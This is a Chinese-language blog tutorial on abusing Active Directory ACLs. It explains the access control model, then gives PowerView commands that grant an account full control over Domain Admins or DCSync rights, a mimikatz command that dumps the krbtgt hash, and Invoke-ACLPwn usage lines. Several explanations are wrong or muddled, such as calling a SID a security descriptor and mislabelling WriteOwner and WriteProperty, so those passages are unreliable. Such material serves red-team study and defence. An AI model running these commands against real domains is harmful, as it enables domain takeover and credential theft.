域內ACL攻防

域內ACL攻防

windows 訪問控制模型

在 Active Directory 中設置權限,其方式與在文件中設置權限的方式幾乎相同。權限控制都是使用windows 訪問控制模型。

windows 訪問控制模型是由兩部分組成。

訪問令牌(Access Token)

包含用戶的標識(User SID,Group SIDS),以及特權列表。

安全描述符(security identifiers)。

被訪問的安全對象的相關安全信息。

這裏的安全對象包括但不限於

  • NTFS捲上的文件和目錄
  • 註冊表項
  • 網絡共享
  • 服務
  • Active Directory對象
  • 進程等等

Access Token

當線程與安全對象交互或嘗試執行需要特權的系統任務時,系統使用訪問令牌來標識用戶,訪問令牌包括用戶的SID、所在組的SID等等信息

Security Descriptors安全描述符

SID(Security Identifiers)即安全描述符。
安全描述符標識對象的所有者,幷包含以下訪問控制列表:
1、Discretionary Access Control List (DACL) 自由訪問控制列表
2、System Access Control List (SACL) 系統訪問控制列表

每一種控制列表中都存在若干條ACE(Access Control Entries)

安全描述符由Header、SID和DACL、SACL組成

查看domain user屬性-->安全-->高級

高級安全設置中的權限就是DACL的列表

高級安全設置中的審覈就是SACL的列表

其中紅色圈出來的每一條都是一條ACE

ACE是針對特定用戶或特定組的單個權限授予(或拒絕權利)的配置結構。ACE有許多不同類型,但是在Active Directory的權限中,只有四種不同的含義,兩種分別用於授予和拒絕權限。

Access Mask

Access Mask在ACE中有Access Mask這個字段,它代表着此條ACE所對應的權限,比如完全控制(GenericAll)、修改密碼(ResetPassword)、寫入屬性(WriteMembers)等等。

Trustees

Trustees的意思爲受委託人,受託者是一個ACE所應用到的用戶賬戶,組賬戶或者是登錄會話。也就是說,誰是某一個ACE的受託者,那麼這條ACE中的Access Mask所對應的權限(可能是拒絕可能是通過)就會賦予受託者。比如下面這一條的受委託人實際上就是zhangs賬號。

域裏常見可利用的ACL

  • GenericAll :擁有一個可以完全控制用戶/組的權限
  • GenericWrite :此權限能夠更新目標對象的屬性值
  • Self-Membership :這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)
  • WriteProperty :WriteProperty直譯爲寫所有權。這個權限利用針對的對象爲組對象,能夠賦予賬戶對於某個組的可寫權限
  • WriteOwner :WriteProperty on Group說的是對一個組具有WriteProperty權限的情況下,“寫入全部屬性”除了WriteProperty還包括了其他的權限
  • WriteDacl :WriteDacl允許委託人修改受影響對象的DACL。這意味着攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啓用其他權利的權利。

GenericAll

Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity test2user -Rights All
 -Verbose

給予了test2user對testuser用戶完全控制的權限,在查看testuser的時候可以發現test2user的SID在查詢裏出現

也可以對一個組進行設置

powerview將yayi用戶添加到domain admins用戶添加

Add-DomainObjectAcl  -TargetIdentity "domain admins" -PrincipalIdentity test2user -Ri
ghts  all -Verbose

這樣的話可以用test2用戶控制domain admins用戶組

GenericWrite

GenericWrite也是在Access Mask中進行標識,此權限能夠更新目標對象的屬性值,可以使用PowerView中的Set-DomainObject方法設置目標屬性的值。

WriteDacl

WriteDacl允許委託人修改受影響對象的DACL。這意味着攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啓用其他權利的權利。

Self-Membership

這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)
重點:主體、添加/刪除自身作爲成員

Add-DomainObjectAcl  -TargetIdentity "dnsadmins" -PrincipalIdentity test2user -Rights
  all -Verbose

Add-DomainObjectAcl  -TargetIdentity "dnsadmins" -PrincipalIdentity test2user -Rights
  all -Verbose

image-20220210141653969

WriteProperty (Self-Membership)

WriteProperty直譯爲寫所有權。這個權限利用針對的對象爲組對象,能夠賦予賬戶對於某個組的可寫權限,在Domain Admins組裏設置zhangs賬戶的WriteProperty權限:

WriteProperty on Group

WriteProperty還包括了其他的權限:
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
設置一個組的寫入全部屬性
(相當於獲取了這個組的所有權限)

在Domain Admins組的列表中添加寫入全部屬性,會生成一條新的ACE

ACL攻擊方式

DCSync權限

使用dcsync獲取dump 域hash需要域對象或者是域內的高權限組中有以下三種權限的其中一個:

  1. 複製目錄更改 Replicating Directory Changes (DS-Replication-Get-Changes)
  2. 複製目錄更改所有 Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是這個)
  3. 正在複製篩選集中的目錄更改 Replicating Directory Changes In Filtered Set (rare, only required in some environments)

用戶添加DCSync權限

Add-DomainObjectAcl -TargetIdentity "DC=nncm,DC=com" -PrincipalIdentity test2user -Ri
ghts DCSync

mimikatz.exe "lsadump::dcsync /user:nncm\krbtgt" "exit"

Invoke-ACLpwn

https://github.com/fox-it/Invoke-ACLPwn

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync
    ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
    ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn 'Administrator'
    ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -LogToFile
    ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -NoSecCleanup
    ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'

參考

AD域裏的ACL攻防

AD域中的ACL攻防探索

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章